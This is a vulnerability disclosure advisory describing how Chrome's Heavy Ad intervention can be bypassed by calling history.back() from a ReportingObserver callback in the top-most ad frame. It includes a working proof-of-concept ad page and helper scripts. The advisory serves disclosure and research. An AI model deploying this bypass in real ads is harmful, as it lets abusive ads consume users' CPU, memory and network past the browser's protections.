SSD Advisory – Chrome Ad Heavy Bypass (via history.back())

TL;DR

Find out how the Chrome Ad-Heavy detection mechanism can be bypassed, bypassing the mechanism would allow ads that are breaching the restrictions imposed by Chrome to still run.

Vulnerability Summary

An issue in the way Chrome tracks Ad-Heavy ads allows hostile ad writers to place ads that consume a large amount of memory and/or CPU to not get “killed” by the Chrome ad-heavy detection mechanism. While this doesn’t have a direct security vulnerability scope to it, we feel that Ad-Heavy mechanism offers protection against hostile malware/attacks that may disguise themselves as ads.

Credit

An independent security researcher, Alesandro Ortiz, has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • All versions of Chrome that support Ad-Heavy (version 92.0.4515.159 and up)

Vendor Response

Google has been informed of the bypass via https://bugs.chromium.org/p/chromium/issues/detail?id=1250962 and has kept the state of the ticket open without taking any actions to remediate the bypass described. Several attempts to get an update went unanswered.

Vulnerability Analysis

When the browser determines it should trigger an ad intervention, it performs two relevant steps:

1. It will notify all the ad frames via the ReportingObserver API [1]

2. It will navigate the top-most ad frame to the ad intervention error page [2]

However, the top-most ad frame can call history.back() immediately after receiving the intervention report. This results in the subsequent navigation to the ad intervention error page occurring but the frame will immediately navigate back to the ad page. After this occurs, no further interventions are triggered and the frame can exceed the network limits. This bypass also allows exceeding CPU limits and any other ad limits.

Based on code and behaviour analysis, there are two likely root causes that prevent further ad interventions:
1. Ad interventions are limited to run once per ad frame or committed navigation in ad frame.
2. The subresource filter is not activated or otherwise is not working properly when the ad page is shown again.

This bypass will only work if the history.back() call is made in the top-most ad frame context, because that’s the frame which navigates to the error page [3]. This means the bypass will fail in the heavy-ads.glitch.me environment because the top-most ad frame is not the PoC’s adunit.html, but instead it’s another heavy-ads.glitch.me frame.

[1] SendInterventionReport() called here: https://source.chromium.org/chromium/chromium/src/+/main:components/page_load_metrics/browser/observers/ad_metrics/ads_page_load_metrics_observer.cc;l=1264;drc=1c5a09e8a59b9a250e05e7e47aefcc27c433193e

[2] LoadPostCommitErrorPage() called here: https://source.chromium.org/chromium/chromium/src/+/main:components/page_load_metrics/browser/observers/ad_metrics/ads_page_load_metrics_observer.cc;l=1306;drc=1c5a09e8a59b9a250e05e7e47aefcc27c433193e

[3] “We should always unload the root of the ad subtree.” https://source.chromium.org/chromium/chromium/src/+/main:components/page_load_metrics/browser/observers/ad_metrics/ads_page_load_metrics_observer.cc;l=1212;drc=1c5a09e8a59b9a250e05e7e47aefcc27c433193e

Demo

Exploit

<html>
<head>
<style>
* {
    font-family: 'Helvetica', sans-sarif;
}

.header {
    font-size: 1.5rem;
    font-weight: 700;
    color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>

<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>

Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");

// Add history entry to have a prior entry available
history.pushState({}, '', '#intervention-buster');

var observer = new ReportingObserver(() => {
  // console.info('Report observed');
  // Go to prior history entry. If timed right, it will attempt to navigate to the error page but will go back to the adunit.
  history.back();
  console.info('Called history.back()');
}, {buffered:false});

// Observe for intervention reports
observer.observe();
</script>

<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
  // Removed recursive calling, since single resource load will trigger intervention.
  // Added output for verification purposes.
  // Using jsdelivr.net or same-origin file does not affect behavior
  // We add Date.now() to break cache, to verify network transfer more easily. You can also disable cache via DevTools to force network transfer.
  // fetch('./big.bin?'+Date.now()()).then(response => {
  fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin?'+Date.now()).then(response => {
    return response.text();
  }).then(response => {
    output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
    // Feel free to test recursive calling if desired.
    // download();
  });
}
download();
</script>
</body>
</html>
"use strict";

const iframe = document.createElement("iframe");
iframe.src = "adunit.html";
iframe.style = "width: 98vw; height: 60vh";
document.body.appendChild(iframe);
<!doctype html>
<html>
<head>
<style>html { font-family: sans-serif; }</style>
</head>
<body>
<h1>history.back() bypass, nested ad units</h1>
<p>This scenario will <b>not</b> work, because the top-most ad frame (advert.html) does not use the bypass.</p> 
<p>This page loads advert.html, which does *not* use the bypass.</p>
<p>advert.html will embed adunit.html, which uses the bypass.</p>
<p>Both advert.html and adunit.html are tagged as ads, so the top-most ad frame (advert.html) will show the intervention message.</p>
<p>For the history.back() bypass to work, the top-most ad frame (advert.html) must use the bypass, since that's the frame where the back() navigation needs to occur.</p>
<p>This is why the history.back() bypass does not work when providing the URL to heavy-ads.glitch.me, since the top-most ad frame is another heavy-ads.glitch.me frame which does not use the bypass.</p>
<script src="gads-advert.js"></script>
</body>
</html>
/* shared-worker.js */
// Part of window.fetch polyfill, makes requests on behalf of page.
// To debug shared workers, need to use chrome://inspect/#workers
// Delegated network requests will only appear in the shared worker's DevTools.

self.onconnect = (event) => {
  var port = event.ports[0];

  port.onmessage = (event) => {
    if (event.data.fetchUrl) {
      var fetchUrl = event.data.fetchUrl;
      fetch(fetchUrl).then(response => {
        response.blob().then(blob => {
          port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });
        });
      });
    } else {
      console.warn('Must send fetchUrl in message.');
    }
  }
}
<html>
<head></head>
<body>
<p>Hello! This is the main site. </p>
<p>The ad should be loaded below:</p>
<script src="gads.js"></script>
</body>
</html>